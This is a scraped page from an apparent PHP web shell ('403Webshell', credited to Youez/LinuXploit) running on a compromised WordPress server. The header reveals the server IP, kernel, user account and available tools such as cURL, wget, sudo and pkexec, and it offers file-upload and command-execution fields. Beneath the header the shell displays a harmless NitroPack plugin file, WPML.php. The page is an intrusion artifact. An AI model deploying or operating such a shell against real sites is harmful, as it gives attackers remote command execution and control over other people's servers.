403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/pia/wp-content/plugins/nitropack/classes/Integration/Plugin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/pia/wp-content/plugins/nitropack/classes/Integration/Plugin/WPML.php
<?php

namespace NitroPack\Integration\Plugin;

class WPML {
    const STAGE = "early";

    public static function isActive() {
        if (class_exists('SitePress') || defined('ICL_SITEPRESS_VERSION')) return true;
        return false;
    }

    public function init($stage) {
        add_action('admin_init', [$this, 'nitropack_remove_wpml_home_url_filter']);
    }
    /**
     * Remove WPML home_url filter on NitroPack connect page and ajax calls. 
     * Located in WPML plugin: classes\url-handling\wpml-url-filters.class.php
     */
    public function nitropack_remove_wpml_home_url_filter() {      
        if (!class_exists('WPML_URL_Filters')) return;

        global $pagenow, $wpml_url_filters;
       
        //apply it only on nitropack connect screen
        if ('admin.php' === $pagenow && isset($_GET['page']) && $_GET['page'] == 'nitropack' && !get_nitropack()->isConnected()) {          
            remove_filter('home_url', [$wpml_url_filters, 'home_url_filter'], -10);
        }
        //remove it only on ajax calls for nitropack connect and disconnect, for correct config fetch
        if (wp_doing_ajax() && isset($_REQUEST['action']) && ($_REQUEST['action'] === 'nitropack_disconnect' || $_REQUEST['action'] === 'nitropack_verify_connect')) {        
            remove_filter('home_url', [$wpml_url_filters, 'home_url_filter'], -10);
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit